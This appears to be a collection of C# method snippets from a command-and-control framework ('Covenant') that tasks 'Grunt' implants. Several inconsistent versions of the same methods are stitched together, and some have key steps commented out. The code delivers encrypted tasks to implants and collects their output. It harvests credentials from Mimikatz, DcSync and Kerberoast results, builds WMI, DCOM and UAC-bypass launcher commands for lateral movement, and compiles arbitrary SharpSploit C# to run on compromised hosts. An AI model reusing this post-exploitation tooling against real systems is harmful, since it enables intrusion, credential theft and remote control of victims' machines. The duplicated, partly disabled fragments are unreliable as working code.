public async Task <string> History(Grunt grunt, List <ParsedParameter> parameters) { string Name = "History"; if (parameters.Count() != 2 || !parameters[0].Value.Equals(Name, StringComparison.OrdinalIgnoreCase)) { StringBuilder toPrint1 = new StringBuilder(); toPrint1.Append(EliteConsole.PrintFormattedErrorLine("Usage: History <tasking_name>")); return(toPrint1.ToString()); } StringBuilder toPrint = new StringBuilder(); GruntTasking tasking = await _context.GruntTaskings.FirstOrDefaultAsync(GT => GT.Name == parameters[1].Value); if (tasking == null) { toPrint.Append(EliteConsole.PrintFormattedErrorLine("Invalid History command, invalid tasking name. Usage is: History [ <tasking_name> ]")); } else { GruntCommand command = await _context.GruntCommands .Include(GC => GC.CommandOutput) .Include(GC => GC.User) .FirstOrDefaultAsync(GC => GC.Id == tasking.GruntCommandId); toPrint.Append(EliteConsole.PrintFormattedInfoLine("[" + tasking.CompletionTime + " UTC] Grunt: " + grunt.Name + " " + "GruntTasking: " + tasking.Name)); toPrint.Append(EliteConsole.PrintInfoLine("(" + command.User.UserName + ") > " + command.Command)); toPrint.Append(EliteConsole.PrintInfoLine(command.CommandOutput.Output)); } return(toPrint.ToString()); }
public ActionResult <GruntTasking> EditGruntTasking(int id, string taskname, [FromBody] GruntTasking gruntTasking) { GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && taskname == GT.Name); if (updatingGruntTasking == null) { return(NotFound()); } List <String> credTaskNames = new List <string> { "Mimikatz", "SamDump", "LogonPasswords", "DcSync", "Rubeus", "Kerberoast" }; GruntTask gruntTask = _context.GruntTasks.FirstOrDefault(G => G.Id == gruntTasking.TaskId); if (credTaskNames.Contains(gruntTask.Name)) { List <CapturedCredential> capturedCredentials = CapturedCredential.ParseCredentials(gruntTasking.GruntTaskOutput); foreach (CapturedCredential cred in capturedCredentials) { if (!ContextContainsCredentials(cred)) { _context.Credentials.Add(cred); _context.SaveChanges(); } } } updatingGruntTasking.status = gruntTasking.status; updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput; _context.GruntTaskings.Update(updatingGruntTasking); _context.SaveChanges(); return(Ok(updatingGruntTasking)); }
// GET: /grunttasking/interact/{id} public async Task <IActionResult> Interact(int id) { try { GruntTasking tasking = await _context.GruntTaskings .Include(GT => GT.Grunt) .Include(GT => GT.GruntTask) .ThenInclude(GT => GT.Options) .Include(GT => GT.GruntCommand) .ThenInclude(GC => GC.CommandOutput) .Include(GT => GT.GruntCommand) .ThenInclude(GC => GC.User) .FirstOrDefaultAsync(GT => GT.Id == id); if (tasking == null) { throw new ControllerNotFoundException($"NotFound - GruntTasking with id: {id}"); } return(View(tasking)); } catch (Exception e) when(e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) { return(RedirectToAction(nameof(Index))); } }
// POST: /grunttasking/create public async Task <IActionResult> Create(GruntTasking tasking) { try { CovenantUser currentUser = await _context.GetCurrentUser(_userManager, HttpContext.User); tasking.Grunt = await _context.GetGrunt(tasking.GruntId); tasking.GruntTask = await _context.GetGruntTask(tasking.GruntTaskId); GruntCommand createdCommand = await _context.CreateGruntCommand(new GruntCommand { Command = GetCommand(tasking), CommandTime = DateTime.UtcNow, CommandOutputId = 0, CommandOutput = new CommandOutput(), User = currentUser, GruntId = tasking.Grunt.Id, Grunt = tasking.Grunt }, _grunthub); tasking.GruntCommand = createdCommand; tasking.GruntCommandId = createdCommand.Id; GruntTasking created = await _context.CreateGruntTasking(tasking); return(RedirectToAction(nameof(Interact), new { id = created.Id })); } catch (Exception e) when(e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) { return(RedirectToAction(nameof(Index))); } }
private GruntTaskingMessage GetGruntTaskingMessage(GruntTasking tasking, DotNetVersion version) { string Message = ""; switch (tasking.Type) { case GruntTaskingType.Assembly: switch (version) { case DotNetVersion.Net35: Message = Convert.ToBase64String(this.GetCompressedILAssembly35(tasking.GruntTask.Name)); if (tasking.Parameters.Any()) { Message += "," + String.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P)))); } break; case DotNetVersion.Net40: Message = Convert.ToBase64String(this.GetCompressedILAssembly40(tasking.GruntTask.Name)); if (tasking.Parameters.Any()) { Message += "," + String.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P)))); } break; } break; case GruntTaskingType.SetDelay: Message = tasking.Parameters[0]; break; case GruntTaskingType.SetJitter: Message = tasking.Parameters[0]; break; case GruntTaskingType.SetConnectAttempts: Message = tasking.Parameters[0]; break; case GruntTaskingType.Connect: Message = tasking.Parameters[0] + "," + tasking.Parameters[1]; break; case GruntTaskingType.Disconnect: Message = tasking.Parameters[0]; break; default: Message = string.Join(",", tasking.Parameters.Select(P => Convert.ToBase64String(Common.CovenantEncoding.GetBytes(P)))); break; } return(new GruntTaskingMessage { Type = tasking.Type, Name = tasking.Name, Message = Message, Token = tasking.GruntTask == null ? false : tasking.GruntTask.TokenTask }); }
public ActionResult <string> Get() { this.SetHeaders(); string cookie = this.GetCookie(); try { API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); if (gruntModel == null || gruntModel.Status != GruntStatus.Active) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond Ok return(Ok()); } gruntModel.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(gruntModel); GruntTasking gruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsSearchUninitializedGet(gruntModel.Id ?? default) .FirstOrDefault(); if (gruntTasking == null) { // No GruntTasking assigned. Respond with empty template, return(Ok(this.GetGetEmptyResponse())); } if (gruntTasking.Type == GruntTaskingType.Assembly) { GruntTask task = this.CovenantClient.ApiGrunttasksByIdGet(gruntTasking.TaskId ?? default); if (task == null) { // Can't find corresponding task. Should never reach this point. Will just respond NotFound. return(NotFound()); } } gruntTasking.Status = GruntTaskingStatus.Tasked; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking); API.Models.Grunt targetGruntModel = this.CovenantClient.ApiGruntsByIdGet(gruntTasking.GruntId ?? default); Models.Grunts.GruntEncryptedMessage message = null; try { message = this.CreateMessageForGrunt(gruntModel, targetGruntModel, gruntTasking.GruntTaskingMessage); } catch (HttpOperationException) { // Change to new Status: Aborted? gruntTasking.Status = GruntTaskingStatus.Completed; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking); return(NotFound()); } // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); } catch (HttpOperationException) { return(NotFound()); } }
public ActionResult<GruntTasking> GetGruntTasking(int id, string taskname) { GruntTasking gruntTasking = _context.GruntTaskings.FirstOrDefault(GT => GT.GruntId == id && GT.Name == taskname); if (gruntTasking == null) { return NotFound(); } return Ok(gruntTasking); }
public ActionResult DeleteGruntTasking(int id, string taskname) { GruntTasking removingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && GT.Name == taskname); if (removingGruntTasking == null) { return NotFound(); } _context.GruntTaskings.Remove(removingGruntTasking); _context.SaveChanges(); return new NoContentResult(); }
private static string GetCommand(GruntTasking tasking) { string command = tasking.GruntTask.Name; for (int i = 0; i < tasking.Parameters.Count; i++) { if (tasking.GruntTask.Options[i].DisplayInCommand) { command += " /" + tasking.GruntTask.Options[i].Name.ToLower() + ":\"" + tasking.Parameters[i].Replace("\"", "\\\"") + "\""; } } return(command); }
// POST: /grunttasking/create public async Task <IActionResult> Create(GruntTasking tasking) { try { CovenantUser currentUser = await _context.GetCurrentUser(_userManager, HttpContext.User); tasking.Grunt = await _context.GetGrunt(tasking.GruntId); tasking.GruntTask = await _context.GetGruntTask(tasking.GruntTaskId); tasking.Type = tasking.GruntTask.TaskingType; for (int i = 0; i < Math.Min(tasking.Parameters.Count, tasking.GruntTask.Options.Count); i++) { if (tasking.Parameters[i] == null) { tasking.Parameters[i] = ""; tasking.GruntTask.Options[i].Value = ""; } else { tasking.GruntTask.Options[i].Value = tasking.Parameters[i]; } } for (int i = tasking.Parameters.Count; i < tasking.GruntTask.Options.Count; i++) { tasking.GruntTask.Options[i].Value = ""; } GruntCommand createdCommand = await _context.CreateGruntCommand(new GruntCommand { Command = GetCommand(tasking), CommandTime = DateTime.UtcNow, CommandOutputId = 0, CommandOutput = new CommandOutput(), User = currentUser, GruntId = tasking.Grunt.Id, Grunt = tasking.Grunt }, _grunthub, _eventhub); tasking.GruntCommand = createdCommand; tasking.GruntCommandId = createdCommand.Id; GruntTasking created = await _context.CreateGruntTasking(tasking, _grunthub); return(RedirectToAction(nameof(Interact), new { id = created.Id })); } catch (Exception e) when(e is ControllerNotFoundException || e is ControllerBadRequestException || e is ControllerUnauthorizedException) { return(RedirectToAction(nameof(Index))); } }
public ActionResult<GruntTasking> EditGruntTasking(int id, string taskname, [FromBody] GruntTasking gruntTasking) { GruntTasking updatingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && taskname == GT.Name); if (updatingGruntTasking == null) { return NotFound(); } updatingGruntTasking.status = gruntTasking.status; updatingGruntTasking.GruntTaskOutput = gruntTasking.GruntTaskOutput; _context.GruntTaskings.Update(updatingGruntTasking); _context.SaveChanges(); return Ok(updatingGruntTasking); }
public override void Command(MenuItem menuItem, string UserInput) { GruntTask task = ((TaskMenuItem)menuItem).task = this.CovenantClient.ApiGruntTasksByIdGet(((TaskMenuItem)menuItem).task.Id ?? default); Grunt grunt = ((TaskMenuItem)menuItem).grunt; GruntTasking gruntTasking = new GruntTasking { TaskId = task.Id, GruntId = grunt.Id }; GruntTasking postedGruntTasking = this.CovenantClient.ApiGruntsByIdTaskingsPost(grunt.Id ?? default, gruntTasking); if (postedGruntTasking != null) { EliteConsole.PrintFormattedHighlightLine("Started Task: " + task.Name + " on Grunt: " + grunt.Name + " as GruntTask: " + postedGruntTasking.Name); } }
public ActionResult DeleteGruntTasking(int id, int tid) { GruntTasking removingGruntTasking = _context.GruntTaskings.FirstOrDefault(GT => id == GT.GruntId && GT.Id == tid); if (removingGruntTasking == null) { return(NotFound($"NotFound - GruntTasking with id: {tid} and Grunt id: {id}")); } _context.GruntTaskings.Remove(removingGruntTasking); _context.SaveChanges(); return(new NoContentResult()); }
public async Task <ActionResult <GruntTasking> > EditGruntTasking([FromBody] GruntTasking gruntTasking) { try { return(await _service.EditGruntTasking(gruntTasking)); } catch (ControllerNotFoundException e) { return(NotFound(e.Message)); } catch (ControllerBadRequestException e) { return(BadRequest(e.Message)); } }
// post task private ActionResult PostTask(API.Models.Grunt egressGrunt, API.Models.Grunt targetGrunt, Covenant.Models.Grunts.GruntEncryptedMessage outputMessage) { string cookie = this.GetCookie(); if (targetGrunt == null || targetGrunt.Status != GruntStatus.Active || egressGrunt.CookieAuthKey != cookie) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound return(NotFound()); } string TaskName = outputMessage.Meta; if (string.IsNullOrWhiteSpace(TaskName)) { // Invalid task response. This happens on post-register write return(NotFound()); } GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsDetailGet(targetGrunt.Id ?? default).FirstOrDefault(T => T.Name == TaskName); if (gruntTasking == null || targetGrunt.Id != gruntTasking.GruntId) { // Invalid taskname. May not be legitimate Grunt request, respond NotFound return(NotFound()); } var realGrunt = Covenant.Models.Grunts.Grunt.Create(targetGrunt); if (realGrunt == null || realGrunt.Status != Covenant.Models.Grunts.Grunt.GruntStatus.Active) { // Invalid Grunt. May not be legitimate Grunt request, respond NotFound return(NotFound()); } if (!outputMessage.VerifyHMAC(Convert.FromBase64String(realGrunt.GruntNegotiatedSessionKey))) { // Invalid signature. Almost certainly not a legitimate Grunt request, respond NotFound return(NotFound()); } string taskOutput = Common.CovenantEncoding.GetString(realGrunt.SessionDecrypt(outputMessage)); gruntTasking.GruntTaskOutput = taskOutput; gruntTasking.Status = GruntTaskingStatus.Completed; this.CovenantClient.ApiGruntsByIdTaskingsByTidPut(gruntTasking.GruntId ?? default, gruntTasking.Id ?? default, gruntTasking); targetGrunt = this.CovenantClient.ApiGruntsByIdGet(targetGrunt.Id ?? default); targetGrunt.LastCheckIn = DateTime.UtcNow; this.CovenantClient.ApiGruntsPut(targetGrunt); return(Ok()); }
public override void Command(MenuItem menuItem, string UserInput) { GruntsMenuItem gruntsMenuItem = (GruntsMenuItem)menuItem; string[] commands = UserInput.Split(" "); if (commands.Length != 2 || commands[0].ToLower() != "kill") { menuItem.PrintInvalidOptionError(UserInput); return; } if (commands[1].ToLower() == "all") { EliteConsole.PrintFormattedWarning("Kill all Grunts? [y/N] "); string input1 = EliteConsole.Read(); if (!input1.ToLower().StartsWith("y")) { return; } gruntsMenuItem.HiddenGruntNames.AddRange(gruntsMenuItem.Grunts.Select(G => G.Name)); foreach (Grunt g in gruntsMenuItem.Grunts) { GruntTasking gt = new GruntTasking { Type = GruntTaskingType.Kill, GruntId = g.Id }; this.CovenantClient.ApiGruntsByIdTaskingsPost(g.Id ?? default, gt); } } Grunt grunt = gruntsMenuItem.Grunts.FirstOrDefault(G => G.Name == commands[1]); if (grunt == null) { EliteConsole.PrintFormattedErrorLine("Invalid GruntName: \"" + commands[1] + "\""); menuItem.PrintInvalidOptionError(UserInput); return; } EliteConsole.PrintFormattedWarning("Kill Grunt: " + commands[1] + "? [y/N] "); string input2 = EliteConsole.Read(); if (!input2.ToLower().StartsWith("y")) { return; } GruntTasking gruntTasking = new GruntTasking { Type = GruntTaskingType.Kill, GruntId = grunt.Id }; this.CovenantClient.ApiGruntsByIdTaskingsPost(grunt.Id ?? default, gruntTasking); }
public ActionResult <GruntTasking> GetGruntTaskingDetail(int id, int tid) { Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id); if (grunt == null) { return(NotFound($"NotFound - Grunt with id: {id}")); } GruntTasking gruntTasking = _context.GruntTaskings.FirstOrDefault(GT => GT.GruntId == grunt.Id && GT.Id == tid); if (gruntTasking == null) { return(NotFound($"NotFound - GruntTasking with id: {tid}")); } return(gruntTasking); }
public async Task <ActionResult <GruntTasking> > CreateGruntTasking([FromBody] GruntTasking gruntTasking) { try { GruntTasking tasking = await _service.CreateGruntTasking(gruntTasking); return(CreatedAtRoute(nameof(GetGruntTasking), new { tid = tasking.Id }, tasking)); } catch (ControllerNotFoundException e) { return(NotFound(e.Message)); } catch (ControllerBadRequestException e) { return(BadRequest(e.Message)); } }
public ActionResult <string> Get() { this.SetHeaders(); string cookie = this.GetCookie(); API.Models.Grunt gruntModel = this.CovenantClient.ApiGruntsGet().FirstOrDefault(G => G.CookieAuthKey == cookie); if (gruntModel == null || gruntModel.Status != GruntStatus.Active) { // Invalid CookieAuthKey. May not be legitimate Grunt request, respond NotFound return(NotFound()); } gruntModel.LastCheckIn = DateTime.Now.ToString(); CovenantClient.ApiGruntsPut(gruntModel); GruntTasking gruntTasking = CovenantClient.ApiGruntsByIdTaskingsGet(gruntModel.Id ?? default).FirstOrDefault(GT => GT.Status == GruntTaskingStatus.Uninitialized); if (gruntTasking == null) { // No GruntTasking assigned. Respond with empty template, return(Ok(this.GetGetEmptyResponse())); } if (gruntTasking.Type == GruntTaskingType.Assembly) { GruntTask task = CovenantClient.ApiGruntTasksByIdGet(gruntTasking.TaskId ?? default); if (task == null) { // Can't find corresponding task. Should never reach this point. Will just respond NotFound. return(NotFound()); } } gruntTasking.Status = GruntTaskingStatus.Tasked; CovenantClient.ApiGruntsByIdTaskingsByTasknamePut(gruntTasking.GruntId ?? default, gruntTasking.Name, gruntTasking); string responseTasking = JsonConvert.SerializeObject(gruntTasking.TaskingMessage); var message = Covenant.Models.Grunts.GruntEncryptedMessage.Create( Covenant.Models.Grunts.Grunt.Create(gruntModel), Common.CovenantEncoding.GetBytes(responseTasking) ); // Transform response string transformed = this.Profile.Transform(Common.CovenantEncoding.GetBytes(JsonConvert.SerializeObject(message))); // Format transformed response string response = String.Format(this.Profile.HttpPostResponse, transformed); return(Ok(response)); }
public override async void Command(MenuItem menuItem, string UserInput) { Grunt grunt = ((TaskMenuItem)menuItem).Grunt; try { GruntTask task = ((TaskMenuItem)menuItem).Task; GruntTasking gruntTasking = new GruntTasking { TaskId = task.Id, GruntId = grunt.Id, Type = GruntTaskingType.Assembly, Status = GruntTaskingStatus.Uninitialized, TokenTask = task.TokenTask, TaskingCommand = UserInput.ToLower() == "Start" ? (task.Name + " " + String.Join(' ', task.Options.Select(O => "/" + O.Name.ToLower() + " " + O.Value).ToList())) : UserInput }; await this.CovenantClient.ApiGruntsByIdTaskingsPostAsync(grunt.Id ?? default, gruntTasking); } catch (HttpOperationException) { EliteConsole.PrintFormattedErrorLine("Failed starting task on Grunt: " + grunt.Name); } }
public async Task NotifyEditGruntTasking(object sender, GruntTasking tasking) { await Task.Run(() => this.OnEditGruntTasking(sender, tasking)); }
//This is what actually compiles the code public async Task <GruntTasking> CreateGruntTasking(GruntTasking tasking) { //I don't think we need this part at the moment // //tasking.Grunt = await this.GetGrunt(tasking.GruntId); //tasking.Grunt.Listener = await this.GetListener(tasking.Grunt.ListenerId); //tasking.GruntTask = await this.GetGruntTask(tasking.GruntTaskId); //tasking.GruntCommand = await this.GetGruntCommand(tasking.GruntCommandId); //tasking.GruntCommand.CommandOutput ??= await this.GetCommandOutput(tasking.GruntCommand.CommandOutputId); List <string> parameters = tasking.GruntTask.Options.OrderBy(O => O.Id).Select(O => string.IsNullOrEmpty(O.Value) ? O.DefaultValue : O.Value).ToList(); /*if (tasking.GruntTask.Name.Equals("powershell", StringComparison.OrdinalIgnoreCase) && !string.IsNullOrWhiteSpace(tasking.Grunt.PowerShellImport)) * { * parameters[0] = Common.CovenantEncoding.GetString(Convert.FromBase64String(tasking.Grunt.PowerShellImport)) + "\r\n" + parameters[0]; * } * else if (tasking.GruntTask.Name.Equals("powershellimport", StringComparison.OrdinalIgnoreCase)) * { * if (parameters.Count >= 1) * { * string import = parameters[0]; * byte[] importBytes = Convert.FromBase64String(import); * if (importBytes.Length >= 3 && importBytes[0] == 0xEF && importBytes[1] == 0xBB && importBytes[2] == 0xBF) * { * import = Convert.ToBase64String(importBytes.Skip(3).ToArray()); * } * tasking.Grunt.PowerShellImport = import; * } * else * { * tasking.Grunt.PowerShellImport = ""; * } * _context.Grunts.Update(tasking.Grunt); * tasking.GruntCommand.CommandOutput.Output = "PowerShell Imported"; * * _context.GruntCommands.Update(tasking.GruntCommand); * await _context.SaveChangesAsync(); * await _notifier.NotifyEditGrunt(this, tasking.Grunt); * await _notifier.NotifyEditGruntCommand(this, tasking.GruntCommand); * tasking.Status = GruntTaskingStatus.Completed; * } * else if (tasking.GruntTask.Name.Equals("wmigrunt", StringComparison.OrdinalIgnoreCase)) * { * Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[1].ToLower()); * if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") * { * throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[1]}"); * } * * // Add .exe extension if needed * List<string> split = l.LauncherString.Split(" ").ToList(); * parameters[1] = split.FirstOrDefault(); * if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; } * * // Add Directory * string Directory = "C:\\Windows\\System32\\"; * if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } * else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } * if (!parameters[1].StartsWith("C:\\", StringComparison.OrdinalIgnoreCase)) { parameters[1] = Directory + parameters[1]; } * if (split.Count > 1) { parameters[1] += " " + String.Join(" ", split.Skip(1).ToArray()); } * } * else if (tasking.GruntTask.Name.Equals("dcomgrunt", StringComparison.OrdinalIgnoreCase)) * { * Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[1].ToLower()); * if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") * { * throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[1]}"); * } * // Add .exe extension if needed * List<string> split = l.LauncherString.Split(" ").ToList(); * parameters[1] = split.FirstOrDefault(); * if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; } * * // Add command parameters * split.RemoveAt(0); * parameters.Insert(2, String.Join(" ", split.ToArray())); * * // Add Directory * string Directory = "C:\\Windows\\System32\\"; * if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } * else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } * if (!parameters[1].StartsWith("C:\\", StringComparison.OrdinalIgnoreCase)) { parameters[1] = Directory + parameters[1]; } * * parameters.Insert(3, Directory); * } * else if (tasking.GruntTask.Name.Equals("powershellremotinggrunt", StringComparison.OrdinalIgnoreCase)) * { * Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[1].ToLower()); * if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") * { * throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[1]}"); * } * // Add .exe extension if needed * List<string> split = l.LauncherString.Split(" ").ToList(); * parameters[1] = split.FirstOrDefault(); * if (!parameters[1].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[1] += ".exe"; } * // Add Directory * string Directory = "C:\\Windows\\System32\\"; * if (parameters[1].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } * else if (parameters[1].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } * if (!parameters[1].StartsWith("C:\\", StringComparison.OrdinalIgnoreCase)) { parameters[1] = Directory + parameters[1]; } * parameters[1] = parameters[1] + " " + string.Join(" ", split.Skip(1).ToList()); * } * else if (tasking.GruntTask.Name.Equals("bypassuacgrunt", StringComparison.OrdinalIgnoreCase)) * { * Launcher l = await _context.Launchers.FirstOrDefaultAsync(L => L.Name.ToLower() == parameters[0].ToLower()); * if (l == null || l.LauncherString == null || l.LauncherString.Trim() == "") * { * throw new ControllerNotFoundException($"NotFound - Launcher with name: {parameters[0]}"); * } * // Add .exe extension if needed * string[] split = l.LauncherString.Split(" "); * parameters[0] = split.FirstOrDefault(); * if (!parameters[0].EndsWith(".exe", StringComparison.OrdinalIgnoreCase)) { parameters[0] += ".exe"; } * * // Add parameters need for BypassUAC Task * string ArgParams = String.Join(" ", split.ToList().GetRange(1, split.Count() - 1)); * string Directory = "C:\\Windows\\System32\\"; * if (parameters[0].Equals("powershell.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "WindowsPowerShell\\v1.0\\"; } * else if (parameters[0].Equals("wmic.exe", StringComparison.OrdinalIgnoreCase)) { Directory += "wbem\\"; } * * parameters.Add(ArgParams); * parameters.Add(Directory); * parameters.Add("0"); * } * else*/ if (tasking.GruntTask.Name.Equals("SharpShell", StringComparison.CurrentCultureIgnoreCase)) { string WrapperFunctionFormat = @"using System; using System.IO; using System.Linq; using System.Text; using System.Security; using System.Security.Principal; using System.Collections.Generic; using SharpSploit.Credentials; using SharpSploit.Enumeration; using SharpSploit.Execution; using SharpSploit.Generic; using SharpSploit.Misc; using SharpSploit.LateralMovement; public static class Task {{ public static string Execute() {{ {0} }} }}"; string csharpcode = string.Join(" ", parameters); tasking.GruntTask.Code = string.Format(WrapperFunctionFormat, csharpcode); tasking.GruntTask.Compiled = false; _context.Update(tasking.GruntTask); parameters = new List <string> { }; } /*else if (tasking.GruntTask.Name.Equals("Disconnect", StringComparison.CurrentCultureIgnoreCase)) * { * Grunt g = await this.GetGruntByName(parameters[0]); * parameters[0] = g.GUID; * } * else if (tasking.GruntTask.Name.Equals("Connect", StringComparison.CurrentCultureIgnoreCase)) * { * parameters[0] = parameters[0] == "localhost" ? tasking.Grunt.Hostname : parameters[0]; * parameters[0] = parameters[0] == "127.0.0.1" ? tasking.Grunt.IPAddress : parameters[0]; * }*/ tasking.Parameters = parameters; try { //tasking.GruntTask.Compile(tasking.runtimeIdentifier); } catch (CompilerException e) { Console.WriteLine("compile failed"); } /*await _context.GruntTaskings.AddAsync(tasking); * await _context.SaveChangesAsync(); * tasking.GruntCommand.GruntTaskingId = tasking.Id; * tasking.GruntCommand.GruntTasking = tasking; * await this.EditGruntCommand(tasking.GruntCommand); * Grunt parent = (await this.GetParentGrunt(tasking.Grunt)) ?? tasking.Grunt; * parent.Listener = await this.GetListener(parent.ListenerId); * await _notifier.NotifyCreateGruntTasking(this, tasking); * await _notifier.NotifyNotifyListener(this, parent);*/ return(tasking); }
public ActionResult <GruntTasking> CreateGruntTasking(int id, [FromBody] GruntTasking gruntTasking) { Grunt grunt = _context.Grunts.FirstOrDefault(G => G.Id == id); if (grunt == null) { return(NotFound()); } if (gruntTasking.type == GruntTasking.GruntTaskingType.Assembly) { GruntTask task = _context.GruntTasks.FirstOrDefault(T => T.Id == gruntTasking.TaskId); if (task == null) { return(NotFound()); } task.Options = _context.GruntTaskOptions.Where(O => O.TaskId == task.Id).ToList(); List <string> parameters = task.Options.OrderBy(O => O.OptionId).Select(O => O.Value).ToList(); if (task.Name.ToLower() == "wmi") { Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[3].ToLower()); if ((parameters[4] != null && parameters[4] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "") { // If using custom command // Remove the "Launcher" parameter parameters.RemoveAt(3); } else { // If using Launcher // Remove the "Command" parameter parameters.RemoveAt(4); // Set LauncherString to WMI command parameter parameters[3] = l.LauncherString; } } else if (task.Name.ToLower() == "dcom") { Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[1].ToLower()); if ((parameters[2] != null && parameters[2] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "") { // If using custom command // Remove the "Launcher" parameter parameters.RemoveAt(1); // Add .exe exetension if needed List <string> split = parameters[1].Split(" ").ToList(); parameters[1] = split[0]; if (!parameters[1].EndsWith(".exe")) { parameters[1] += ".exe"; } split.RemoveAt(0); parameters.Insert(2, String.Join(" ", split.ToArray())); string Directory = "C:\\WINDOWS\\System32\\"; if (parameters[1].ToLower().Contains("powershell.exe")) { Directory += "WindowsPowerShell\\v1.0\\"; } else if (parameters[1].ToLower().Contains("wmic.exe")) { Directory += "wbem\\"; } parameters.Insert(3, Directory); } else { // If using Launcher // Remove the "Command" parameter parameters.RemoveAt(2); // Set LauncherString to DCOM command parameter parameters[1] = l.LauncherString; // Add .exe exetension if needed List <string> split = parameters[1].Split(" ").ToList(); parameters[1] = split[0]; if (!parameters[1].EndsWith(".exe")) { parameters[1] += ".exe"; } split.RemoveAt(0); parameters.Insert(2, String.Join(" ", split.ToArray())); string Directory = "C:\\WINDOWS\\System32\\"; if (parameters[1].ToLower().Contains("powershell.exe")) { Directory += "WindowsPowerShell\\v1.0\\"; } else if (parameters[1].ToLower().Contains("wmic.exe")) { Directory += "wbem\\"; } parameters.Insert(3, Directory); } } else if (task.Name.ToLower() == "bypassuac") { Launcher l = _context.Launchers.FirstOrDefault(L => L.Name.ToLower() == parameters[0].ToLower()); if ((parameters[1] != null && parameters[1] != "") || l == null || l.LauncherString == null || l.LauncherString.Trim() == "") { // If using custom command // Remove the "Launcher" parameter parameters.RemoveAt(0); // Add .exe exetension if needed string[] split = parameters[0].Split(" "); parameters[0] = split.FirstOrDefault(); if (!parameters[0].EndsWith(".exe")) { parameters[0] += ".exe"; } // Add parameters needed for BypassUAC Task parameters.Add(String.Join(" ", split.ToList().GetRange(1, split.Count() - 1))); parameters.Add("C:\\WINDOWS\\System32\\"); if (parameters[0].ToLower().Contains("powershell.exe")) { parameters[2] += "WindowsPowerShell\\v1.0\\"; } else if (parameters[0].ToLower().Contains("wmic.exe")) { parameters[2] += "wbem\\"; } parameters.Add("0"); } else { // If using Launcher // Remove the "Command" parameter parameters.RemoveAt(1); // Add .exe exetension if needed string[] split = l.LauncherString.Split(" "); parameters[0] = split.FirstOrDefault(); if (!parameters[0].EndsWith(".exe")) { parameters[0] += ".exe"; } // Add parameters need for BypassUAC Task parameters.Add(String.Join(" ", split.ToList().GetRange(1, split.Count() - 1))); parameters.Add("C:\\WINDOWS\\System32\\"); if (l.Name.ToLower() == "powershell") { parameters[2] += "WindowsPowerShell\\v1.0\\"; } else if (l.Name.ToLower() == "wmic") { parameters[2] += "wbem\\"; } parameters.Add("0"); } } try { gruntTasking.Compile( task.Code, parameters, task.GetReferenceAssemblies(), task.GetReferenceSourceLibraries(), task.GetEmbeddedResources(), grunt.DotNetFrameworkVersion ); } catch (Exception e) { Console.Error.WriteLine("Task Compilation failed: " + e.Message + e.StackTrace); return(BadRequest("Task returned compilation errors:" + e.Message + e.StackTrace)); } } _context.GruntTaskings.Add(gruntTasking); _context.SaveChanges(); return(CreatedAtRoute(nameof(GetGruntTasking), new { id = id, taskname = gruntTasking.Name }, gruntTasking)); }
